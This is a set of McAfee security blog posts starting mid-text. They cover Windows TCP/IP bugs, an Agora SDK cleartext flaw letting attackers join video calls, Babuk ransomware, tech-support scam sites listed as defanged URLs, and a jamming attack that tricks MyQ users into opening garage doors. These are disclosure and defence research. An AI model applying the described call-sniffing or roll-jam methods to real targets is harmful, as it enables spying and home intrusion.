From a detection standpoint, the telltale signs of an active exploitation would be fragmented packets whose IP Options vary between fragments. For instance, the first fragment would not contain an LSRR option, while the second fragment would. This would likely be accompanied by a heavy traffic meant to shape the kernel heap.

Similarities and Impact Assessment
There are obvious similarities between all three of these vulnerabilities. Each is present in the tcpip.sys library, responsible for parsing IPv4 and IPv6 traffic. Furthermore, the bugs all deal with packet reassembly and the RCE vulnerabilities leverage similar functions for IPv4 and IPv6 respectively. Given a combination of public and Microsoft-internal attribution, it’s clear that researchers and vendor alike are chasing down the same types of bugs. Whenever we see vulnerabilities in network stacks or Internet-routed protocols, we’re especially interested to determine difficulty of exploitation, wormability, and impact. For vulnerabilities such as the RCEs above, a deep dive is essential to understand the likelihood of these types of flaws being built into exploit kits or used in targeted attacks and are prime candidates for threat actors to weaponize. Despite the real potential for harm, the criticality of these bugs is somewhat lessened by a higher bar to exploitation and the upcoming patches from Microsoft. We do expect to see additional vulnerabilities in the TCP/IP stack and will continue to provide similar analysis and guidance. As it is likely to take some time for threat actors to integrate these vulnerabilities in a meaningful way, the best course of action, as always, is widespread mitigation via patching.

The post Researchers Follow the Breadcrumbs: The Latest Vulnerabilities in Windows’ Network Stack appeared first on McAfee Blog.

Don’t Call Us We’ll Call You: McAfee ATR Finds Vulnerability in Agora Video SDK

17 February 2021 at 13:00
texting slang

The McAfee Advanced Threat Research (ATR) team is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. We recently investigated and published several findings on a personal robot called “temi”, which can be read about in detail here. A byproduct of our robotic research was a deeper dive into a video calling software development kit (SDK) created by Agora.io. Agora’s SDKs are used for voice and video communication in applications across multiple platforms. Several of the most popular mobile applications utilizing the vulnerable SDK included social apps such as eHarmony, Plenty of Fish, MeetMe and Skout, and healthcare apps such as Talkspace, Practo and Dr. First’s Backline. In early 2020, our research into the Agora Video SDK led to the discovery of sensitive information sent unencrypted over the network. This flaw, CVE-2020-25605, may have allowed an attacker to spy on ongoing private video and audio calls. At the time of writing, McAfee is unaware of any instances of this vulnerability being exploited in the wild. We reported this research to Agora.io on April 20, 2020 and the company, as of December 17th, 2020 released a new SDK, version 3.2.1, which mitigated the vulnerability and eliminated the corresponding threat to users.

Encryption has increasingly become the new standard for communication; often even in cases where data privacy is not explicitly sensitive. For example, all modern browsers have begun to migrate to newer standards (HTTP/2) which enforce encryption by default, a complete change from just a few years ago where a significant amount of browsing traffic was sent in clear text and could be viewed by any interested party. While the need to protect truly sensitive information such as financial data, health records, and other personally identifiable information (PII) has long been standardized, consumers are increasingly expecting privacy and encryption for all web traffic and applications. Furthermore, when encryption is an option provided by a vendor, it must be easy for developers to implement, adequately protect all session information including setup and teardown, and still meet the developers’ many use cases. These core concepts are what led us to the findings discussed in this blog.

To boldly go where no one has gone before

As part of our analysis of the temi ecosystem, the team reviewed the Android application that pairs with the temi robot. During this analysis, a hardcoded key was discovered in the app.

Figure 1: Application ID hardcoded in temi phone app

This raised the question: What is this key and what is it used for? Thanks to the detailed logging provided by the developers, we had a place to start, https://dashboard.agora.io.

What is Agora?

According to the website – “Agora provides the SDKs and building blocks to enable a wide range of real-time engagement possibilities” In the context of our initial robot project, it simply provides the technology required to make audio and video calls. In a broader context, Agora is used for a variety of applications including social, retail, gaming and education, among others.

Agora allows anyone to create an account and download its SDKs for testing from its website, which also provides extensive documentation. Its GitHub repositories also provide detailed sample projects on how to use the product. This is amazing for developers, but also very useful to security researchers and hackers. Using the logging comments from the above code we can look at the documentation to understand what an App ID is and what it is used for.

Figure 2: Agora documentation about App ID

The last two sentences of this documentation really grabbed our attention. We had found a key which is hardcoded into an Android application that “anyone can use on any Agora SDK” and is “prudent to safeguard”.

Agora provides several different SDKs with different functionality. Since we encountered Agora through use of the video SDK, we decided to focus on only this SDK for the rest of this research. Simulating the mindset of an attacker, we began to investigate what this App ID or key could be used for. Furthermore, in the context of the video SDK, the question evolved into whether an attacker could interact with this video and audio traffic.

“They’ve done studies, you know. 60% of the time, encrypting works every time.”

Since Agora provides sample projects and allows for free developer accounts, the best way to understand what potential attack vectors exists is to use these tools. Examining the GitHub example projects and the following associated documentation, we can learn exactly what is needed and how a normal user is connected to a video call.

Figure 3: Sample project initializeEngine function

Here we see in the example code the App ID being used to create a new “RtcEngine” object. As can be seen in the documentation, creating an RtcEngine is the foundation and first step needed to create any video call.

Figure 4: Agora documentation on RtcEngine

If we continue to examine the example code and look at the documentation’s steps for connecting to a call, we come to a function named “joinChannel”.

Figure 5: Agora sample program joinChannel function

This function is responsible for connecting an end user to a call. In the example code, there are four parameters, three of which are hardcoded and one of which can be set to null. Without doing too much more digging, it appears that while Agora lists the App ID as important, it is not the only component needed to join a video call. An attacker would also require the values passed to the joinChannel API in order to join a call. If we assume that these values are only hardcoded for the purpose of a demo application, how would an attacker obtain the other necessary values? Code is an awesome resource, but when it comes to a network conversation the truth is in the packets. By running this example code and capturing traffic with Wireshark, we can further our understanding of how this system works.

Figure 6: Wireshark capture of Agora traffic

When looking at the traffic, what immediately stands out is the values passed to joinChannel in the example code above. They are sent in plaintext across the network, in addition to the App ID needed to initiate the RtcEngine. Considering this is an example app, it is important to understand the difference between a test scenario and a production scenario. As noted in the code in Figure 5, the “token” parameter is being set to null. What is a token in this context, and would that affect the security of these parameters? We can use the Agora documentation to understand that a token is designed to be randomly generated and provide more security for a session.

Figure 7: Agora documentation regarding tokens

With tokens being an option, it is important we see what the traffic looks like in a scenario where the token parameter is not null. The use of a token is hopefully what we find in production or at least is what is recommended in production by Agora.

Figure 8: Agora documentation on token authentication

Running the example application again, this time using a token and capturing traffic, we can discover that the token is also a non-issue for an attacker.

Figure 9: Wireshark capture of Agora call with tokens

The token is sent in plaintext just like the other parameters! You may have noticed this capture does not show the App ID; in this case the App ID is still sent in plaintext, in a different packet.

The Spy Who Loved Me

Information being sent in plaintext across the network to initiate a video call is one thing, but can this actually be used by an attacker to spy on a user? Will the call support a third party? Will the user be notified of a new connection? In order to answer these questions, we can use the example applications provided by Agora to run some tests. The diagram below shows the scenario we are going to try and create for testing.

Figure 10: Agora attack scenario

The first step for an attacker sitting on the network is to be able to identify the proper network traffic containing the sensitive information. With this information from the network packets, they can then attempt to join the call that is in progress. Using a Python framework called Scapy, we built a network layer in less than 50 lines of code to help easily identify the traffic the attacker cares about. This was done by reviewing the video call traffic and reverse engineering the protocol. Like a lot of reversing, this is done by using context clues and a lot of “guess and check”. Strings help us identify the use for certain fields and provide clues to what the fields around them might be. In some cases, fields are still unknown; however, this is normal. An attacker or researcher only needs to decipher enough of a packet to make an attack possible.

Figure 11: Agora Scapy filter

The above code identifies, parses, and displays in human readable form, only the important information in the three main packet types discovered in the Agora traffic. From here we can automate the scenario outlined in Figure 10 using Python with a few modifications to the example apps. It totally works! The demo video below shows an attacker sniffing network traffic to gather the call information and then launching their own Agora video application to join the call, completely unnoticed by normal users.

Besides using a token, were there any other security measures available to developers that might have mitigated the impact of this vulnerability? Per Agora’s documentation, the developer has the option to encrypt a video call. We also tested this, and the App ID, Channel Name, and Token are still sent in plaintext when the call is encrypted. An attacker can still get these values; however, they cannot view the video or hear the audio of the call. Despite this, the attacker can still utilize the App ID to host their own calls at the cost of the app developer. We will discuss in the next section why, even though encryption is available, it is not widely adopted, making this mitigation largely impractical.

You talkin’ to me? Are you talkin’ to me?

This research started with the discovery of an App ID hardcoded into “temi”, the personal robot we were researching. Agora documents clearly on its website that this App ID should be “kept safe”, which we discovered as a vulnerability while researching temi. However, further examination shows that even if temi had kept this value safe, it is sent in cleartext over the network along with all the other values needed to join the call. So how does this impact other consumers of the Agora SDK outside of temi?

Agora’s website claims – “Agora’s interactive voice, video, and messaging SDKs are embedded into mobile, web and desktop applications across more than 1.7 billion devices globally.” To ensure our comparisons would be reasonable, we looked only at other Android applications which used the video SDK. We also focused on apps with a very large install base.

To give a quick cross-section of apps on Google Play that utilize Agora, let’s focus on MeetMe, Skout, Nimo TV, and, of course, temi. Google Play reports the number of installs at 50 million+ each for MeetMe and Skout, 10 million+ for Nimo TV and 1000+ for temi. By examining the applications’ decompiled code, we can easily determine all four of these applications have hardcoded App IDs and do not enable encryption. We see very similar code as below in all the applications:

Figure 12: joinChannel function from Android apps not using encryption

The most important line here is the call to setEncryptionSecret which is being passed the “null” parameter. We can reference the Agora documentation to understand more about this call.

Figure 13: Agora documentation on setEncryptionSecret

Even though the encryption functions are being called, the application developers are actually disabling the encryption based on this documentation. A developer paying close attention might ask if this is the only place the API is being called. Could it be set elsewhere? The team searched the decompiled code for all the applications reviewed and was unable to find any other instance of the API call, leading us to believe this is the only call being made. With this in mind, the cleartext traffic has a greater impact that goes well beyond a personal robot application to millions – potentially billions – of users. Without encryption enabled and the setup information passed in cleartext, an attacker can spy on a very large range of users.

Although Agora should not have been sending this sensitive information unencrypted, if it offers an encrypted traffic option, why is it not being used? This would at least protect the video and audio of the call, even though an attacker is able to join. While it is impossible to be certain, one reason might be because the Agora encryption options require a pre-shared key, which can be seen in its example applications posted on GitHub. The Agora SDK itself did not provide any secure way to generate or communicate the pre-shared key needed for the phone call, and therefore this was left up to the developers. Many calling models used in applications want to give the user the ability to call anyone without prior contact. This is difficult to implement into a video SDK post-release since a built-in mechanism for key sharing was not included. It is also worth noting that, generally, the speed and quality of a video call is harder to maintain while using encryption. These may be a few of the reasons why these application developers have chosen to not use the encryption for the video and audio. Now that the SDK properly and transparently handles encryption of call setup, developers have the opportunity to leverage a more secure method of communication for traffic. Additionally, developers still have the option to add full encryption to further protect video and audio streams.

Agora has published a list of best practices for all its developers and partners here, which does include use of encryption when possible. We generally recommend following vendors’ security best practices as they are designed to apply to the product or service directly.  In this case, the vulnerability would still exist; however, its effectiveness would be extremely limited if the published best practices were followed. Although we have found Agora’s recommendations were largely not being adopted, Agora has been actively communicating with customers throughout the vulnerability disclosure process to ensure its recommended processes and procedures are widely implemented.

Yo, Adrian, we did it. We did it.

Privacy is always a top concern for consumers, but also remains an enticing threat vector for attackers. If we look at the two biggest apps we investigated (MeetMe and Skout), both are rated for mature audiences (17+) to “meet new people” and both advertise over 100 million users. MeetMe also mentions “flirting” on the Google Play store and its website has testimonies about people meeting the “love of their life”. Although they are not explicitly advertised as dating apps, it would be reasonable to draw the conclusion that it is at least one of their functions. In the world of online dating, a breach of security or the ability to spy on calls could lead to blackmail or harassment by an attacker. Other Agora developer applications with smaller customer bases, such as the temi robot, are used in numerous industries such as hospitals, where the ability to spy on conversations could lead to the leak of sensitive medical information.

One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. As per McAfee’s responsible disclosure policy, McAfee ATR informed Agora as soon as the vulnerability was confirmed to be exploitable. Agora was very receptive and responsive to receiving this information and further advanced its current security capabilities by providing developers with an SDK option (version 3.2.1) to encrypt the initial call setup information, mitigating this vulnerability.  We have tested this new SDK and can confirm it fully mitigates CVE-2020-25605. At the time of writing, McAfee is unaware of any instances of this vulnerability being exploited in the wild, which demonstrates another powerful success story of mitigating an issue which may have affected millions of users before it is used for malicious purposes. Our partnership with Agora resulted in the release of a more secure SDK which has empowered developers across multiple companies to produce more secure video calling applications. We strongly recommend any development team which uses the Agora SDK to upgrade to the latest version, follow Agora’s outlined best practices, and implement full encryption wherever possible.

Vulnerability Details

CVE: CVE-2020-25605
CVSSv3 Rating: 7.5/6.7
CVSS String: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C
CVE Description: Cleartext transmission of sensitive information in Agora Video SDK prior to 3.1 allows a remote attacker to obtain access to audio and video of any ongoing Agora video call through observation of cleartext network traffic.

The post Don’t Call Us We’ll Call You: McAfee ATR Finds Vulnerability in Agora Video SDK appeared first on McAfee Blog.

Beyond Clubhouse: Vulnerable Agora SDKs Still in Widespread Use

19 February 2021 at 00:21
Mobile Conferencing Apps Carry Risks

On February 17th, 2021, McAfee disclosed findings based on a 10-month long disclosure process with major video conferencing vendor Agora, Inc.  As we disclosed the findings to Agora in April 2020, this lengthy disclosure timeline represents a nonstandard process for McAfee but was a joint agreement with the vendor to allow sufficient time for the development and release of a secure SDK. The release of the SDK mitigating the vulnerability took place on December 17th, 2020. Given the implications of snooping and spying on video and audio calls, we felt it was important to provide Agora the extended disclosure time. The affected users of Agora include popular voice and video messaging apps, with one notable application being the popular new iOS app known as Clubhouse.

 


Clubhouse Application Screenshot

Clubhouse has made headlines recently as one of the newest players in the social networking sphere, rising in popularity after a series of high-profile users including Elon Musk, Kanye West and influencers in various geographies posted about the platform. Released in April of 2020, Clubhouse quickly carved out a niche in Chinese social media as the platform to discuss sensitive social and political topics – perhaps aided by its invite-only approach to membership – and the spotlight shined on it by these key players further propelled it into viral status early this year. Perhaps unsurprisingly, the application was blocked for use in China on February 8th, 2021.

Last week, Stanford Internet Observatory (SIO) released research regarding the popular Clubhouse app’s use of Agora real-time engagement software and suggested that Agora could have provided the Chinese government access to Clubhouse user information and communications.  While the details of Stanford’s disclosure focus on the audio SDK compared to our work on the video SDK, the functionality and flaw are similar to our recent disclosure, CVE-2020-25605.  This includes the plaintext transmission of app ID, channel ID and token – credentials necessary to join either audio or video calls. We can confirm that Clubhouse updated to the most recent version of the Agora SDK on February 16th – just a day prior to our public disclosure.

Despite the recent noise surrounding Clubhouse, the reality is that this application is just one of many applications that leverage the Agora SDK. Among others, we investigated the social apps eHarmony, Skout, and MeetMe, along with several widely-used healthcare apps, some of which have a significantly larger user base. For example, MeetGroup (comprised of several apps) reported approximately 18 million monthly users compared to Clubhouse, which had approximately 600k total users as of December 2020.

We felt it was important to highlight these data points and are continuing to investigate these applications as well as monitor any potential instances of malicious actors exploiting this vulnerability. Given that Agora has released an updated SDK that fixes the call setup issues, vulnerable applications should have already switched to the secure calling SDK, thus protecting the sensitive audio and video call data as many claim to do. With that in mind, we decided to check back in with some of the Agora-based apps we previously investigated to confirm whether they had updated to the patched version. We were surprised to see many, as of February 18, 2020, still had not:

App Name Installs App Version App Version Date Updated Agora SDK
MeetMe 50,000,000+ 14.24.4.2910 2/9/2021 Yes
LOVOO 50,000,000+ 93.0 2/15/2021 No
Plenty of Fish 50,000,000+ 4.36.0.1500755 2/5/2021 No
SKOUT 50,000,000+ 6.32.0 2/3/2021 Yes
Tagged 10,000,000+ 9.32.0 12/29/2020 No
GROWLr 1,000,000+ 16.1.1 2/11/2021 No
eharmony 5,000,000+ 8.16.2 2/5/2021 Yes
Clubhouse 2,000,000+ 0.1.2.8 2/16/2021 Yes
Practo 5,000,000+ 4.93 1/26/2021 No

With the context around censorship and basic privacy concerns, it will be interesting to see if these and many other apps using the vulnerable SDK update quickly, or even ever, and what kind of lasting effects these types of findings have on users’ trust and confidence in social media platforms.

For more on McAfee ATR’s research into the Agora SDK, please see our technical research blog.

For information on how users can protect themselves when using such apps, please see our consumer safety tips blog.

The post Beyond Clubhouse: Vulnerable Agora SDKs Still in Widespread Use appeared first on McAfee Blog.

Babuk Ransomware

24 February 2021 at 05:01

Executive Summary

Babuk ransomware is a new ransomware threat discovered in 2021 that has impacted at least five big enterprises, with one already paying the criminals $85,000 after negotiations. As with other variants, this ransomware is deployed in the network of enterprises that the criminals carefully target and compromise. Using MVISION Insights, McAfee was able to plot the telemetry of targets, revealing that the group is currently targeting the transportation, healthcare, plastic, electronics, and agricultural sectors across multiple geographies.

Figure 1. Infection map (source: MVISION Insights)

Coverage and Protection Advice

McAfee’s EPP solution covers Babuk ransomware with an array of prevention and detection techniques.

ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections. For DAT based detections, the family will be reported as Ransom-Babuk!<hash>. ENS ATP adds 2 additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.

Updates on indicators are pushed through GTI, and customers of Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.

Initially, in our research the entry vector and the complete tactics, techniques and procedures (TTPs) used by the criminals behind Babuk remained unclear.

However, when its affiliate recruitment advertisement came online, and given the specific underground meeting place where Babuk posts, defenders can expect similar TTPs with Babuk as with other Ransomware-as-a-Service families.

In its recruitment posting Babuk specifically asks for individuals with pentest skills, so defenders should be on the lookout for traces and behaviors that correlate to open source penetration testing tools like winPEAS, Bloodhound and SharpHound, or hacking frameworks such as CobaltStrike, Metasploit, Empire or Covenant. Also be on the lookout for abnormal behavior of non-malicious tools that have a dual use, such as those that can be used for things like enumeration and execution, (e.g., ADfind, PSExec, PowerShell, etc.) We advise everyone to read our blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).

Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common amongst ransomware criminals:

  • E-mail Spearphishing (T1566.001). Often used to directly engage and/or gain an initial foothold, the initial phishing email can also be linked to a different malware strain, which acts as a loader and entry point for the ransomware gangs to continue completely compromising a victim’s network. We have observed this in the past with Trickbot and Ryuk, Emotet and Prolock, etc.
  • Exploit Public-Facing Application (T1190) is another common entry vector; cyber criminals are avid consumers of security news and are always on the lookout for a good exploit. We therefore encourage organizations to be fast and diligent when it comes to applying patches. There are numerous examples in the past where vulnerabilities concerning remote access software, webservers, network edge equipment and firewalls have been used as an entry point.
  • Using valid accounts (T1078) is and has been a proven method for cybercriminals to gain a foothold. After all, why break the door if you have the keys? Weakly protected Remote Desktop Protocol (RDP) access is a prime example of this entry method. For the best tips on RDP security, we would like to highlight our blog explaining RDP security.
  • Valid accounts can also be obtained via commodity malware such as infostealers, that are designed to steal credentials from a victim’s computer. Infostealer logs containing thousands of credentials are purchased by ransomware criminals to search for VPN and corporate logins. As an organization, robust credential management and multi-factor authentication on user accounts is an absolute must have.

When it comes to the actual ransomware binary, we strongly advise updating and upgrading your endpoint protection, as well as enabling options like tamper protection and rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.

Summary of the Threat

  • Babuk ransomware is a new ransomware family originally detected at the beginning of 2021.
  • Its operators adopted the same operating methods as other ransomware families and leaked the stolen data on a public website: hxxp://gtmx56k4hutn3ikv.onion/.
  • Babuk’s codebase and artefacts are highly similar to Vasa Locker’s.
  • Babuk advertises on both English-speaking and Russian-speaking forums, where it seems the former is used for announcements and the latter is focused on affiliate recruitment and ransomware updates.
  • The individuals behind Babuk ransomware have explicitly expressed themselves negatively against the BlackLivesMatter (BLM) and LGBT communities.
  • At least 5 companies have been breached as of January 15, 2021.
  • The ransomware supports command line operation and embeds three different built-in commands used to spread itself and encrypt network resources.
  • It checks the services and processes running so it can kill a predefined list and avoid detection.
  • There are no local language checks, in contrast to other ransomware gangs that normally spare devices in certain countries.
  • The most recent variant has been spotted packed.

Learn more about the inner working of Babuk, underground forum activity, Yara Rules, Indicators of Compromise & Mitre ATT&CK techniques used by reading our detailed technical analysis.

 

Babuk Ransomware

Learn more about the inner working of Babuk, underground forum activity, Yara Rules, Indicators of Compromise & Mitre ATT&CK techniques used.
View Now

 

The post Babuk Ransomware appeared first on McAfee Blog.

Top Tips to Spot Tech Support Scams

By: Joy Olowo
12 December 2019 at 16:35

There are number of ways scammers use to target your money or personal details.  These scams include support sites for services such as Office365, iCloud, Gmail, etc. They will charge you for the service and steal your credit card details. Software activation scam sites will steal your activation code and they may resell it at a low cost.

There have been many articles about these types of scams, including one we posted earlier this year about support scams – https://securingtomorrow.mcafee.com/consumer/consumer-threat-notices/mcafee-customer-support-scam.

In this article, we would like to provide more examples of the scam sites and tips to help you spot them and avoid entering your personal information.

Scam sites may include these major services’ names in their domains, and include links for the official sites, to appear like legitimate (authorized) support for these companies.

The screenshots below are examples of various types of scam sites.

This one is an example of a software activation scam site. It targets users who are confused about how to set up their software. As shown below, the scammer asks users to enter their personal information and the activation key, pretending to help with the software setup.

On the same page, it provides the details on how to find the activation key and how to set up the software.

After following these steps and entering the personal information, you get an error as shown in the screen shot below.

At this time, the scammer has already received the user’s information, which could then be used for financial gain. As the error occurs, they expect the user to call the numbers above and they will charge the user for that call, even though they can get the same service for free from the respective software companies. This activation code can then be sold at a low cost on pirated software sites.

When you encounter a site which you suspect to be a support scam, try Googling its phone number. You may be surprised that a lot more of other support scam sites with the same phone number will appear in the results. In this example, the same number is linked to at least 4 other support scams.

For these sites, they have the same appearance as shown in the screenshot below.

The below screenshot shows a typical scam site that tries to mimic the official site but is not as professional. It only provides the phone number and contact form, and nothing else.

 

Users may encounter these sites in various ways:

  • By clicking on links from unsolicited emails.
  • From pop-up ads from risky sites such as illegal movie streams.
  • Ad campaign pop-ups from otherwise legitimate sites that have had malicious ads injected or not thoroughly vetted.
  • Advertised in online classified ads, forum posts and blog sites.
  • Advertised in Social media sites such as Facebook, Reddit, YouTube and Tumblr.

One way to be sure that you have the correct contact information is to get it from the legitimate website.  When you search for the contact information, always make sure that the search result shows the link to the respective organization.  Please be aware that this may not always come up on top of your search.

When you click the link in the search result, make sure that you land on the expected site.

Advice to Consumers:

Online users should be careful in their choices of trying to get technical support and activation setup.

Consumers should be aware that these companies will not send unsolicited email messages or unsolicited phone calls to request users’ personal or financial information to offer technical support to fix their computer or for activation setup.

As highlighted in this blog, a user will often be presented with a fake error screen to be tricked into calling a premium rate phone number. Warnings or error messages from legitimate companies never include their phone numbers.

Users do not have to pay for such a service which they can get from the respective companies directly for free. Also, software companies will never ask you to pay with Bitcoin or gift cards. Users should only use the official website and, if unsure, they should contact the official website via its contact form.

These tech support domains may be registered in various countries. Their lifespan may be short, like a year or two. Just for the examples listed in this article, the average domain life cycle was 2.1 years. They mimic the look and feel of the official web sites by copying the logo and other graphics, but they are often not quite as professional looking as the official ones.

If you find suspected scam sites, please submit them to McAfee for review at https://trustedsource.org as well as reporting to your local law enforcement.

The Below Discovered and Analyzed URLs are Covered By WebAdvisor

hxxps://www-norton-com-setup.xyz
hxxp://nortoncomsetup.co/
<hxxp://mcafeeactivate.support
hxxp://www.yourpcassistant.com
hxxp://manage-norton-setup.com/
hxxp://contacttechassistance.com/
hxxps://i123hp.com
hxxps://canon.com-ijsetup.com
hxxp://www.mydragonsupport.com
hxxps://www.retail-cards.com/
hxxps://wwwofficesetup.com/
hxxps://how-tosetup.com/
hxxps://www.sbcglobalsupportnumber.com
hxxps://acersupportnumber.com
hxxps://www.canonsupportnumber.org/
hxxps://applesupportnumber.net/
hxxp://mssetup.com
hxxp://officecomsetup.support
hxxp://wwwofficesetup.com
hxxp://howtoactivatemcafee.com
hxxp://www-mcafee-com-activate.co.uk

The post Top Tips to Spot Tech Support Scams appeared first on McAfee Blog.

We Be Jammin’ – Bypassing Chamberlain myQ Garage Doors

By: Sam Quinn
7 January 2020 at 05:01

The idea of controlling your garage door remotely and verifying that everything is secure at home, or having packages delivered directly into your garage is enticing for many people. The convenience that many of these IOT devices provide often persuades consumers away from thinking about the possible security concerns.

McAfee Advanced Threat Research recently investigated Chamberlain’s MyQ Hub, a “Universal” garage door automation platform. The way Chamberlain has made this device universal is via a Hub, which acts as a new garage door opener, similar to the one that you would have in your car. This allows the MyQ Hub to retrofit and work with a wide variety of garage doors.

We found that Chamberlain did a fairly good job of securing this device, which is typically uncommon for IOT devices. However, we discovered that there is a flaw in the way the MyQ Hub communicates with the remote sensor over radio frequencies.

From an attack perspective there are three main vectors that we began to look at: local network, remote access (API, or third-party integration), and RF communications between the sensor and the Hub. The first thing we attempted was to gain access to the device via the local network. A quick port scan of the device revealed that it was listening on port 80. When attempting to navigate to the device at port 80 it would redirect to start.html and return a 404 error. No other ports were open on the device.

The inside of the Chamberlain MyQ Hub

Disassembling the Hub revealed a small SOC (system on a chip) module that was handling the Wi-Fi and web communications and a secondary PIC microcontroller which was responsible for controlling the RF side of things for both the garage door and the remote door sensor. The MyQ Hub listed on FCC’s website also included a Bluetooth module that was not present on the two MyQ Hubs that we purchased.

The UART connection was disconnected or not enabled, but the JTAG connection worked to communicate directly with the main Wi-Fi module. With the JTAG connection we were able to dump the entire contents of the flash chip and debug the system unrestricted. The main Wi-Fi module was a Marvell microcontroller that was running a RTOS (Real Time Operating System), which acts much different than a normal Linux system. While it will still run predefined applications, RTOS’ usually don’t have a filesystem like traditional systems do.  We extracted the entire contents of the Marvell microprocessor, and were able to analyze the assembly and determine how the web server behaves.

From looking through the web server code we were able to identify how the device is setup through the local API as well as finding some interesting, albeit not very useful commands that we could send.

Local API commands

There were more URLs that we found to be accessible and some additional API paths, but nothing stood out as a good place to start an attack from. At this point we decided to investigate the other attack vectors.

We didn’t spend too much time looking into the third-party attack vector and remote API since it becomes sort of a gray area for researching. While we were testing with the /sys/mode API call we were able to put the device into a soft factory reset, where we were able to attempt to add the device to a different account. From capturing the SSL traffic on the mobile application, we were able to see that it was failing since the serial number was already registered to another account. We used a technique called SSL unpinning to decrypt traffic from the Android application; we’ll post a future blog explaining this process in greater detail. One thing that we wanted to try was to modify the Android app to send a different serial number. Since we don’t believe that the device ever cleared the original garage door information, we could have potentially opened the device from the new account. However, this is all speculation and was not tested because we didn’t want to access the remote API.

The last vector we looked at was RF. We began trying to break down the frequency modulation between the remote door sensor and the Hub. We originally thought it was some sort of FSK (frequency shift keying) where data is transmitted digitally. If the signal is in one frequency the corresponding bit is 0 and if the signal is shown on another frequency the bit is 1. This idea was thrown out since the MyQ remote sensor was using 3 different frequencies not just two.

Looking at the door sensor’s FCC filing we noticed a particularly helpful revision that they made.

OOK stands for “On OFF Keying” and is another method of encoding digital bits into RF. OOK will either be sending a signal (1) or not sending a signal (0). This means both the transmitter and receiver must be synchronized.

On Off Keying Graphical Representation

Here is the binary representation for the signal captured from the MyQ remote door sensor. This is a tightly zoomed-in window of the entire signal.

One full message captured, each color is a different frequency

aaaaaaaa559999aa59655659a6965aa9a99996aa6aa0aaaaaaaa55a9699a6566696699555a6a5556966555500aaaaaaaa559999aa59655659a6965aa9a99996aa6aa

We can observe the state transmission captured from all three frequencies and converted to hexadecimal. It’s easy to identify data patterns within the transmission, as represented in color above, but we were never able to crack it to arbitrarily transmit false states from our SDR (Software Defined Radio). We also noticed that the RF engineers at Chamberlain had security in mind not only by separating the signal into three separate frequencies, but also by implementing rolling codes. You may be familiar with the rolling code technique from things like your standard garage door opener or your car key fob. Rolling code devices prevent an attacker from directly capturing a signal and replaying it. This is prevented by the signal containing a unique identifier that is noted by the receiver and if the receiver ever sees that signal with the unique ID again it will ignore it.

The way attackers have overcome rolling code devices is by a method called “Roll Jam.” An attacker will jam the rolling code signal from the transmitter, blocking it from ever making it to the receiver, while simultaneously capturing the valid rolling code and storing it. This way the attacker now has an unused and valid rolling code that the receiver has never seen before. The caveat to this method is that normally the victim will notice that either the garage door or car didn’t unlock. A stealthier method to Roll Jam is always capturing the latest code and replaying the latest signal minus 1. This way the car or door will open but the attacker still owns the latest code for their use.

The MyQ also had a rolling code implementation that we were able to develop a variant of this technique against. We took the concept of jamming the original code from the receiver by transmitting a large amount of “noise” directly adjacent to the valid signal frequency. This causes the receiver in the MyQ Hub to overload and not hear the valid signal. However, with the precision of the SDR, we were able to ignore the noise that we are transmitting and store the signal. This was further complicated by the fact that there were three frequencies that we had to simultaneously listen for and jam. If you are interested in this FHSS (Frequency Hopping Spread Spectrum) Roll Jam technique, please read our white paper.

Within the research related to Chamberlain Garage Door Hub described in this blog, the only interference was to unlicensed spectrum radio frequency for the minimum period while the garage door hub was transmitting state signal, and there was no interference with any communications signal licensed or authorized under the Communications Act or FCC rules.

This technique worked, but since the remote sensor and the MyQ Hub always have the advantage in RF landscape, it was unreliable. The jamming aspect of the attack worked nicely; however, since we are outside of the garage and the remote sensor and the Hub are both located within the same garage, it is harder to jam and listen at the same time with the garage door and walls acting as barriers. With higher powered radios, frequency-tuned antennas, and disregard for FCC’s laws, the jamming of the remote sensor could take place at a much further distance than we were able to test in our lab environment.

A waterfall view of the remote sensor signal (red) and jamming (black)

With our jamming working reliably, we confirmed that when a user closes the garage door via the MyQ application, the remote sensor never responds with the closed signal because we are jamming it. The app will alert the user that “Something went wrong. Please try again.” This is where a normal user, if not in direct sight of the garage door, would think that their garage door is indeed open, when in reality it is securely closed. If the user believes the MyQ app then they would do as the application indicates and “try again” – this is where the statelessness of garage doors comes into play. The MyQ Hub will send the open/closed signal to the garage door and it will open, because it is already closed, and it is simply changing state. This allows an attacker direct entry into the garage, and, in many cases, into the home.

Since now the garage door is really open the attacker probably doesn’t want to leave the state as-is, notifying the victim that something went wrong again. Putting the garage door into a closed state and allowing the app to clear the error will put the victim at ease. This could be executed either by a replay from a previously captured closed signal, or, in the most simplistic manner by removing the remote sensor from the Velcro on the garage door and placing it in the vertical position, signaling to the Hub that the door closed successfully.

Attack Reproduction State Flowchart

We also realized that in a real-world scenario, an attacker wouldn’t likely sit outside of a garage all day, so we decided to automate the attack. We used GNU radio to implement a JIT (just in time) method of jamming where the SDR will sit dormant listening on the MyQ’s three separate frequencies. The moment it notices that the remote door sensor is beginning a transmission, it will dynamically enable and start jamming of the signal.

GNU Radio JIT Jamming and State Capture over 3 Simultaneous Frequencies

This expands the use cases of this type of attack by being able to create a small device that could be placed out of sight near the garage door. This technique is also described in more detail in our FHSS white paper. The JIT jamming makes it very difficult to locate the device using RF triangulation and allows it to be better equipped for battery operation.

